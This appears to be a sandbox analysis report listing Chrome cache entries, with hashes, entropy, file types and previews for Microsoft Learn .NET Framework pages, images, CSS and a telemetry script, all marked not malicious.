SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	195712
Entropy (8bit):	5.430058240656712
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVlis:Wof3G0NSkNzMeO7z/l3ll
MD5:	A307DE6214648B16414DC641D7399066
SHA1:	63980CBC7F3DF8838611519460B570EA50BF5751
SHA-256:	99B65058137EDB2B63400C273F6F5A064E3B0244152B916FD8C3C7C3818D9D93
SHA-512:	EE879CC90BF7EF0BE89670D0F0D7F6A85A37324D0C892694D78AE81A28692BE6045A0B59588549533D9AC8E6FC91978778999E37942B530E979D403D95E2D0CD
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25422
Entropy (8bit):	5.151101794904936
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFr7:aHBQv11pOVqlh382/rIN1D
MD5:	B5C4D5CE538E3982A376EC2923192D6B
SHA1:	A1BD7A4345A58117D6201305E0B5CB893C827BAD
SHA-256:	5F999F0A104864DCE808453CEBB0B7291ADCDF2516E40011B0BB4E9ACCD71C0C
SHA-512:	87A71EF2621453B2DE11DA60E02EED762F9FFBAD9D7052CB95CD1FBB6311E8AE3E5D430FC2315AC3FC20A06E627EAD95FC5E4F5B0AA17206728120A4CA9FB6AA
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
